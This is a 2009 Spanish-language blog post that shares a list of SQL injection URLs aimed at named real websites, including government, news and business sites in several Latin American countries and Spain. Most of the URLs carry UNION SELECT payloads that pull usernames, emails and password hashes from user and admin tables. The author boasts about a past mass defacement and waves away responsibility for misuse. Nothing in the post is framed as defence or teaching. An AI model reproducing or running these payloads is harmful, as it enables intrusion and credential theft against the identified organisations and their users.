. Con la tecnología de Blogger.

martes, 26 de mayo de 2009

injectiones sql no concluidas

cansado de tener este archivo con el nombre "hdpcsm.txt"
(hijo de puta concha su madre) jajaj..
se los dejo :P
algunos hashes no estan en la db de crackeadores online (no voy a usar un crackeador u.u)
en otras no encontre la tabla de "usuarios"
en otras no encontre el panel de login jajajajja

me hace acordar.. (no vo a contar la historia)
ese mass defacement que hicimo con TrueneX.. mi ameegoh jake ;$
jajaja

aca las webs by IOT ;)

http://www.cordobatercermilenio.com/noticias/index.php?noticia=-9+union+select+0,concat(0x3c62723e,nombre,0x3c62723e,email,0x3c62723e,entidad,0x3c62723e,direccion,0x3c62723e,telfax,0x3c62723e,sexo,0x3c62723e,fnacimiento,0x3c62723e,cuerpo,0x3c62723e,area1,0x3c62723e,area2,0x3c62723e,area3,0x3c62723e,area4,0x3c62723e,area5,0x3c62723e,area6,0x3c62723e,fechaalta,0x3c62723e,tipo,0x3c62723e,ipcliente),2,3,4,5,6,7,8,9+from+usuarios+where+id=9--
##########################################################
http://www.slirm.com/displayrecipe.php?recipe=5+and+1=0+union+select+0,concat(riskuserid,0x3a,email,0x3a,password),2,3,4+from+riskusers--
###########################################################
http://www.myoutspirit.com/index.php?pag=resource&roid=13+and+1=0+union+select+0,concat(username,0x3a,password),2+from+user--
###########################################################
http://www.dyaryoboy.com/recipes/recipe.php?recipeid=413+and+1=0+union+select+0,group_concat(userid,0x3a,login,0x3a,password,0x3c62723e)+from+users--
###########################################################
http://www.benamocarra.es/secc_noticia/index.php?idNoticia=150+and+1=0+union+select+0,concat(login),2,3,4,5,6,7+from+usuarios--
###########################################################
http://www.cdinterintxaurrondo.com/es/actualidad/index.php?idNoticia=42+and+1=0+union+select+0,1,2,3,4,5,6,7,8,group_concat(idUsuario,0x3a,email,0x3a,password,0x3c62723e)+from+usuarios--
###########################################################
http://www.cnp.go.cr/index.php?idNoticia=287+and+1=0+union+select+0,1,2,user(),4,5,6,7,8,9,10,11,12,13--
###########################################################
http://www.abpositivo.com/index.php?idNoticia=104&mesArchivo=2007-3
###########################################################
http://www.portalmeslive.com/index.php?Ver=Programas&Id=756+and+1=0+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
###########################################################
http://www.mejoratuespacio.com/index.php?Ver=Seccion&Tipo2=7+and+1=0+union+select+0,1,2,3,4,5--
###########################################################
http://www.construccion.org.ni/index.php?ver=noticia&ID=63+and+1=0+union+select+concat(uid,0x3a,usuario,0x3a,clave,0x3a,level)+from+users--
###########################################################
http://www.tujuega.com/index.php?Ver=Juego&Id=747+and+1=0+union+select+0,user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
###########################################################
http://www.palfer.cl/producto.php?id=6+and+1=0+union+select+0,1,2,group_concat(user,0x3a,password,0x3a,email,0x3a,nombre,0x3c62723e),4,5+from+users--
###########################################################
http://www.comulsa.cl/producto.php?id=33+and+1=0+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
###########################################################
http://www.innovagroupnetwork.cl/producto.php?id=3&cat=27+and+1=0+union+select+0,1,2,group_concat(usuario,0x3a,password),4,5,6+from+tbl_usuarios--
###########################################################
http://www.wisetrack.cl/producto.php?id=9+and+1=0+union+select+0,group_concat(id,0x3a,perfil_nombre,0x3a,nombre,0x3a,cargo,0x3a,clave,0x3c62723e),2,3,4,5+from+admin--
###########################################################
http://www.emcolombia.it/noticias/index.php?noticia=52+and+1=0+union+select+concat(login,0x3a,password),1,2,3,4+from+usuarios--
###########################################################
http://www.cordobatercermilenio.com/noticias/index.php?noticia=-9+union+select+0,version(),2,3,4,5,6,7,8,9--
###########################################################
http://www.bariloche.gov.ar/sectores/areas_in.php?id_contenido=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(nombre,0x3a,login,0x3a,pass),23,24,25,26,27,28,29,30,31,32,33,34+from+usuarios--
###########################################################
http://puertodetransferencia.gov.ec/compra.php?id=1+and+1=0+union+select+0,group_concat(id,0x3a,user,0x3a,pass,0x3a,nombre,0x3a,estado,0x3c62723e),2,3,4,5,6+from+bt_admin--
###########################################################
http://www.latarde.com.ec/html/politica.php?id=1885+and+1=0+union+select+0,group_concat(user_id,0x3a,user_group,0x3a,user_name,0x3a,user_password,0x3a,user_email,0x3c62723e),2,3,4,5+from+apiusers--
###########################################################
http://www.ifm.org.br/index_noticia.php?n=105+and+1=0+union+select+0,user(),2,3,4,5,6,7,8,9--
###########################################################

si no se ve el link completo.. busquenlo en el codigo fuente
o aca tienen el link

no me hago responsable de su mal uso..
yo de ustedes reportaria a los webmaster de los sites (jajajaaaaaaaaaaaaa)

saludos :P

0 comentarios: